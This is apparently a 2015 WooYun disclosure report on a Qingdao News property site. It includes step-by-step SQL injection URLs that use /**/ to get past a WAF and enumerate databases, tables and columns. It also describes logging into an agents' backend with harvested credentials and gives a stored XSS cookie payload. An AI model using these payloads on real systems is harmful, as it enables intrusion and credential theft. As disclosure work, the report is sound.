漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0155816
漏洞标题：青岛新闻网房产门户存在sql注入（安全狗可绕）附送一个中介管理后台存储xss
相关厂商：qingdaonews.com
漏洞作者： 挚爱阳阳
提交时间：2015-11-25 15:31
修复时间：2016-01-11 15:32
公开时间：2016-01-11 15:32
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：15
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-11-25： 细节已通知厂商并且等待厂商处理中
2015-11-26： 厂商已经确认，细节仅向厂商公开
2015-12-06： 细节向核心白帽子及相关领域专家公开
2015-12-16： 细节向普通白帽子公开
2015-12-26： 细节向实习白帽子公开
2016-01-11： 细节向公众公开
简要描述：
详细说明：
有狗就要尝试绕过无意中找到这么一个链接http://house.qingdaonews.com/news/pictjwap.asp?id=8106
输入'报错。以为很简单。但是继续输入or 1=1 发现有狗。但是不能这么停下。
漏洞证明：
有狗就要尝试绕过
过程就不详细阐述了，直接贴绕过的一步步的payload吧 估计也不是最新的安全狗吧 这里用/**/代替空格，master之类的在黑名单之内。
http://house.qingdaonews.com/news/pictjwap.asp?id=8106/**/and/**/(select/**/@@version)=1
http://house.qingdaonews.com/news/pictjwap.asp?id=8106/**/and/**/1=2/**/union/**/all/**/select/**/1,name,'2',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,2,20,21/**/from/**/sys.databases
21个字段够多的。现在就要找库了。看好了。
继续寻找。http://house.qingdaonews.com/news/pictjwap.asp?id=8106/**/and/**/1=2/**/union/**/all/**/select/**/'1',(select/**/name/**/from/**/sys.tables/**/for/**/xml/**/path('dd')),'3','4','5','6','7',8,9,'10','11','12','13','14',15,16,17,18,19,20,21 所有的表都出来了。现在继续找可疑的表。
找到了一个zj（理解为中介）http://house.qingdaonews.com/news/pictjwap.asp?id=8106/**/and/**/1=2/**/union/**/all/**/select/**/'1',(select/**/name/**/from/**/sys.columns/**/where/**/object_id='1874105717'/**/for/**/xml/**/path('dd')),'3','4','5','6','7',8,9,'10','11','12','13','14',15,16,17,18,19,20,21
果然不出所料，应该有很多用户的表的。这里手工只找一下具有代表性的中介的表的内容。
找到用户名和密码：很多啊中介
找到中介的后台登进去
附送一个存储的xss吧。 在系统功能->修改信息初 输入</textarea><script>alert(document.cookie)</script> 保存然后重新查看即可触发。
修复方案：
这个安全狗不是万能的。应该不是最新版。建议升级。还有应该加入防注入的程序。
版权声明：转载请注明来源 挚爱阳阳@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2015-11-26 10:03
厂商回复：
很重要，谢谢
最新状态：
暂无